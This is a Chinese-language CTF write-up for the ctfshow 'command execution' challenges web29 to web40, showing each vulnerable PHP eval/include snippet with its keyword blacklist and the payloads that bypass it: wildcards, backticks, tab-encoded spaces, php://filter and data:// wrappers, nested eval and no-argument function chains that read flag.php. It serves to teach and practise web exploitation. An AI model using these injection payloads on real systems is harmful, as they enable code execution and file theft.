ctfshow命令执行

web29

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

preg_match 函数用于执行一个正则表达式匹配。/i意味着不分大小写。本句含义是不能用flag值且忽略了大小写。从这句可以看出过滤了flag

方法1

通用符
想要执行 cat flag.php,但是flag被过滤了,这时候就可以使用通配符
cat f*表示打开当前目录下所有 f开头的文件

1
?c=echo system('cat f*');

方法2

传入

1
?c=echo ‘’?><?php system(‘ls’);

可以看到有 flag.php文件,之后采用include结合伪协议进行包含读取
payload:

1
2
?c=echo ‘’?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php

方法3

cp命令将flag.php保存到1.txt 再去访问1.txt

1
?c=system("cp fla?.php 1.txt");

1
2
?c=system(“cat *php >>2.txt”);
*php是后缀为php,本句的意思是将后缀为php的写入2.txt中

接着在url后输入/1.txt就可以看到flag了

web30

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了flag,system,php

方法1

反引号执行系统命令
使用通配符或*绕过过滤flag和php

1
?c=echo `cat f*`;

方法2

同29

1
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

方法3

用``来代替system(),这里的是tab上面的反斜号

1
?c=`cp fla?.p?? 1.txt`;

然后/1.txt

web31

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了flag,system,php,cat,sort,shell,空格,单引号,.

方法1

1
2
3
4
5
6
?c=echo(`tac%09f*`);
?c=echo(`tail%09f*`);
需要查看源码:
?c=echo(`nl%09f*`);
?c=echo(`less%09f*`);
?c=echo(`more%09f*`);

方法2

采用include结合伪协议进行包含读取

1
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

方法3

用eval( )来操作, 这个1已经不属于c的内容了,所以不受过滤管控了,

得到空白页面右击看源码才能得到flag

1
2
3
?c=eval($_GET[1]);&1=system('cat flag.php');

MEL

将cat 换成 tac 就可以直接看到flag,(tac 是 cat 的反向显示),cat也可以直接看到

1
?c=eval($_GET[1]);&1=system('tac flag.php');

web32

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了flag,system,php,cat,sort,shell,echo,分号,空格,单引号,括号,空格,`,.

方法1

用c=include”$_POST[x]”?>或者c=include”$_GET[x]”?>然后用php伪协议将include包含的文件在页面上显示出来

1
2
?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web33

方法1

多过滤了一个”
使用上一题的方法一样可以做出来

1
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web34

方法1

多过滤了一个冒号,也不影响我们使用上面的方法

1
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web35

🤔
ps:此处多过滤了<=,与上题题解一样

web36

😝
ps:此处过滤了数字

web37

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;


}

}else{
highlight_file(__FILE__);
}

过滤了flag ,又是 include 文件包含

方法1

利用伪协议读flag

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

1
2
?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>

方法2

1
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

base64解码为<?php system('cat flag.php');?>
查看源码即可得到flag

web38

原理同上一题,多了个php过滤

1
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

过滤了flag,限制了.php后缀
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
flag使用*绕过

1
2
?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>

查看源码即可得到flag
这样就相当于执行了php语句.php

Web 40

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取,正则中的括号不是英文的 是过滤了中文的括号

1
/?c=show_source(next(array_reverse(scandir(getcwd()))));

ctfshow命令执行
http://example.com/2023/04/26/刷题/ctfshow命令执行/
作者
Englobe
发布于
2023年4月26日
许可协议